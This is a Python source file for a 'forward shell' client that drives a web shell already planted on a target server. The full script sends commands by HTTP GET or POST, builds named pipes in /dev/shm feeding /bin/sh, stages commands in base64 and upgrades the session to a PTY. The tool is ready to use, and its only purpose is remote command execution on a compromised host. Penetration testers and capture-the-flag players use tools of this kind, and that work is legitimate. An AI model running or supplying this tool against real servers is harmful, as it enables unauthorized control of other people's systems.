forward-shell_get-post.py

#!/usr/bin/python3
# -*- coding: utf-8 -*-

import base64
import random
import requests
import threading
import time
import argparse
import sys
import os

class WebShell(object):
    """
    WebShell client that simulates a semi-interactive shell via HTTP requests.
    It uses named pipes (mkfifo) on the target to maintain state.
    """

    def __init__(self, url, method="GET", param="cmd", interval=1.3, no_python=False, silent=False):
        """
        Initialize the WebShell session.
        
        :param url: The URL of the target webshell.
        :param method: HTTP method to use (GET or POST).
        :param param: The parameter name expected by the webshell (e.g., 'cmd' or 'c').
        :param interval: Polling interval for the read thread.
        :param no_python: If True, avoids using Python on the target for PTY upgrade.
        :param silent: If True, disables automatic polling. Output is checked only after sending a command.
        """
        self.url = url
        self.method = method.upper()
        self.param = param
        self.interval = interval
        self.proxies = {"http": None, "https": None}
        self.is_upgraded = False 
        self.no_python = no_python
        self.silent = silent
        self._initial_setup_done = False
        
        session = random.randrange(10000, 99999)
        print(f"[*] Session ID: {session}")
        print(f"[*] Target: {self.url}")
        
        # Define paths for named pipes in shared memory (usually writable)
        self.stdin = f'/dev/shm/input.{session}'
        self.stdout = f'/dev/shm/output.{session}'

        print("[*] Setting up fifo shell on target...")
        # create named pipe and redirect input/output
        MakeNamedPipes = f"mkfifo {self.stdin}; tail -f {self.stdin} | /bin/sh 2>&1 > {self.stdout}"
        self.RunRawCmd(MakeNamedPipes, timeout=0.1)

        print("[*] Setting up read thread...")
        thread = threading.Thread(target=self.ReadThread, args=())
        thread.daemon = True
        thread.start()

    def ReadThread(self):
        """
        Background thread that continuously polls the output file on the target
        and displays the content to the local user.
        """
        while True:
            if not self.silent and self._initial_setup_done:
                self.CheckOutput()
            time.sleep(self.interval)

    def CheckOutput(self, purge=False):
        """
        Reads the content of the output file from the remote server,
        displays it, and clears the file.
        :param purge: If True, reads and clears the output but DOES NOT display it.
        """
        GetOutput = f"/bin/cat {self.stdout}"
        result = self.RunRawCmd(GetOutput)
        if result:
            try:
                # Parse output assuming the webshell wraps result in <pre> tags
                start = result.find("<pre>") + 5 
                end = result.find("</pre>")
                if start > 4 and end > 0:
                    clean_output = result[start:end].rstrip('\n')
                    
                    if clean_output:
                        if not purge:
                            if self.is_upgraded:
                                # In PTY mode, print raw output to handle control characters
                                sys.stdout.write(clean_output)
                            else:
                                # In raw mode, ensure newlines for readability
                                sys.stdout.write(clean_output + "\n")
                            
                            sys.stdout.flush()

                        # Clear the remote output file to avoid reading duplicates
                        ClearOutput = f'echo -n "" > {self.stdout}'
                        self.RunRawCmd(ClearOutput)
            except Exception:
                pass

    def RunRawCmd(self, cmd, timeout=50):
        """
        Execute a single command on the remote server via HTTP.
        """
        payload = {self.param: cmd}
        try:
            if self.method == "POST":
                r = requests.post(self.url, data=payload, proxies=self.proxies, timeout=timeout)
            else:
                r = requests.get(self.url, params=payload, proxies=self.proxies, timeout=timeout)
            return r.text
        except requests.exceptions.ReadTimeout:
            pass
        except Exception as e:
            print(f"[!] Connection Error: {e}")
            pass

    def WriteCmd(self, cmd):
        """
        Encodes the user command in Base64 and writes it to the remote input pipe.
        """
        b64cmd = base64.b64encode('{}\n'.format(cmd.rstrip()).encode('utf-8')).decode('utf-8')
        stage_cmd = f'echo {b64cmd} | base64 -d > {self.stdin}'
        self.RunRawCmd(stage_cmd)
        
        if self.silent:
            self.CheckOutput()

    def UpgradeShell(self):
        """
        Upgrades the standard shell to a PTY (Pseudo-Terminal).
        This enables interactive commands like 'su', 'sudo', etc.
        """
        self.is_upgraded = True
        print("[*] Upgrading to PTY...")
        
        if self.no_python:
            print("[*] Mode --no-python: Forcing usage of 'script' command")
            UpgradeCmd = "script -qc /bin/bash /dev/null"
        else:
            # Try Python3, then Python, then fallback to script
            UpgradeCmd = """python3 -c 'import pty; pty.spawn("/bin/bash")' || python -c 'import pty; pty.spawn("/bin/bash")' || script -qc /bin/bash /dev/null"""
        
        self.WriteCmd(UpgradeCmd)
        
        # We only keep stty -echo to prevent double characters, 
        self.WriteCmd("stty -echo")
        self.SetRemoteTTYSize()
        
        # Give the server a moment to process the stty commands and produce the echo output
        time.sleep(0.5)
        # Purge the output buffer to remove the echoed commands (stty -echo, etc.)
        self.CheckOutput(purge=True)
        
        self._initial_setup_done = True
        
        # Send an empty command to force the prompt to appear
        self.WriteCmd("")

    def SetRemoteTTYSize(self):
        """
        Sets the remote TTY size to match the local terminal window size.
        """
        try:
            size = os.get_terminal_size()
            cmd = f"stty rows {size.lines} columns {size.columns}"
            print(f"[*] Syncing TTY size -> Rows: {size.lines}, Cols: {size.columns}")
            self.WriteCmd(cmd)
        except Exception as e:
            print(f"[!] Error getting terminal size: {e}")

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', required=True, help="Target URL")
    parser.add_argument('-m', '--method', default='GET', help="HTTP Method (GET/POST)")
    parser.add_argument('-p', '--param', default='cmd', help="Parameter name")
    parser.add_argument('--upgrade', action='store_true', help="Auto-upgrade to PTY on startup") 
    parser.add_argument('--no-python', action='store_true', help="Do not use Python for PTY upgrade")
    parser.add_argument('-r', '--readline', action='store_true', help="Enable readline (history and arrow keys) [Warning: Laggy]")
    parser.add_argument('--silent', action='store_true', help="Enable silent mode (no background polling)")
    
    args = parser.parse_args()
    
    def ShowHelp():
        """
        Displays the help menu with available commands.
        """
        print("\n[?] Available Commands:")
        print("    upgrade   - Upgrade to a PTY (Pseudo-Terminal)")
        print("    silent    - Toggle silent mode (reduce network noise)")
        print("    resize    - Sync remote TTY size with local terminal")
        print("    exit      - Exit the ForwardShell")
        print("    ? / help  - Show this help menu\n")

    # --- Readline Configuration ---
    use_readline = False
    histfile = os.path.join(os.path.expanduser("~"), ".fwd_shell_history")
    
    # Common shell commands for autocompletion
    SHELL_COMMANDS = [
        'ls', 'cd', 'cat', 'grep', 'find', 'ps', 'kill', 'pwd', 'whoami', 'id',
        'uname', 'hostname', 'ifconfig', 'ip', 'netstat', 'ss', 'wget', 'curl',
        'nc', 'ncat', 'python', 'python3', 'perl', 'bash', 'sh', 'chmod', 'chown',
        'cp', 'mv', 'rm', 'mkdir', 'rmdir', 'touch', 'echo', 'head', 'tail',
        'less', 'more', 'vi', 'vim', 'nano', 'tar', 'gzip', 'gunzip', 'zip',
        'unzip', 'ssh', 'scp', 'rsync', 'mount', 'umount', 'df', 'du', 'top',
        'htop', 'free', 'uptime', 'history', 'export', 'env', 'set', 'unset',
        'alias', 'unalias', 'which', 'whereis', 'locate', 'updatedb', 'man',
        'help', 'type', 'hash', 'exit', 'logout', 'clear', 'reset', 'stty'
    ]
    
    # Forward-shell specific commands
    FORWARD_SHELL_COMMANDS =['upgrade', 'exit', 'silent', 'resize', '?', 'help']
    
    # All commands for autocompletion
    ALL_COMMANDS = FORWARD_SHELL_COMMANDS + SHELL_COMMANDS
    
    # Try to enable readline and autocompletion
    if args.readline:
        try:
            import readline
            use_readline = True
            
            def complete(text, state):
                """
                Autocompletion function for readline.
                Completes commands and file paths.
                """
                if state == 0:
                    # First call: build list of matches
                    line = readline.get_line_buffer()
                    begin = readline.get_begidx()
                    end = readline.get_endidx()
                    
                    # Get the word being completed
                    words = line[:begin].split()
                    current_word = line[begin:end]
                    
                    if not words:
                        # Completing first word (command)
                        matches = [cmd for cmd in ALL_COMMANDS if cmd.startswith(current_word)]
                    else:
                        # Completing subsequent words (could be file paths or arguments)
                        # For now, just return empty matches for file completion
                        matches = []
                    
                    if not matches:
                        return None
                    
                    # Store matches for subsequent calls
                    complete.matches = sorted(matches)
                
                try:
                    return complete.matches[state]
                except (IndexError, AttributeError):
                    return None
            
            # Set up autocompletion
            readline.set_completer(complete)
            readline.parse_and_bind("tab: complete")
            
            # Set completion delimiters (space, tab, newline, etc.)
            # Keep '/' for path completion
            readline.set_completer_delims(readline.get_completer_delims().replace('/', ''))
            
            # Load history if available
            try:
                readline.read_history_file(histfile)
                readline.set_history_length(1000)
            except FileNotFoundError:
                pass
            
            print("[*] Readline enabled with autocompletion and history.")
        except ImportError:
            print("[!] Error: 'readline' module not found, cannot enable.")
            use_readline = False 
    else:
        print("[*] Readline disabled (use -r to enable history/autocompletion).") 

    try:
        S = WebShell(args.url, args.method, args.param, no_python=args.no_python, silent=args.silent)
        
        if args.upgrade:
            S.UpgradeShell()
            prompt = ""
        else:
            S._initial_setup_done = True
            prompt = "ForwardShell> "
        
        while True:
            try:
                cmd = input(prompt)
                
                if not cmd.strip(): continue
                
                elif cmd.strip() == "upgrade":
                    prompt = "" 
                    S.UpgradeShell()
                elif cmd.strip() == "?" or cmd.strip() == "help":
                    ShowHelp()
                elif cmd.strip() == "silent":
                    S.silent = not S.silent
                    print(f"[*] Silent mode: {'ON' if S.silent else 'OFF'}")
                elif cmd.strip() == "resize":
                    S.SetRemoteTTYSize()
                elif cmd.strip() == "exit":
                    break
                else:
                    S.WriteCmd(cmd)
            except KeyboardInterrupt:
                print("\n[!] Use 'exit' to quit.")
                
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        # Save history only if readline was enabled
        if use_readline:
            try:
                readline.write_history_file(histfile)
            except Exception:
                pass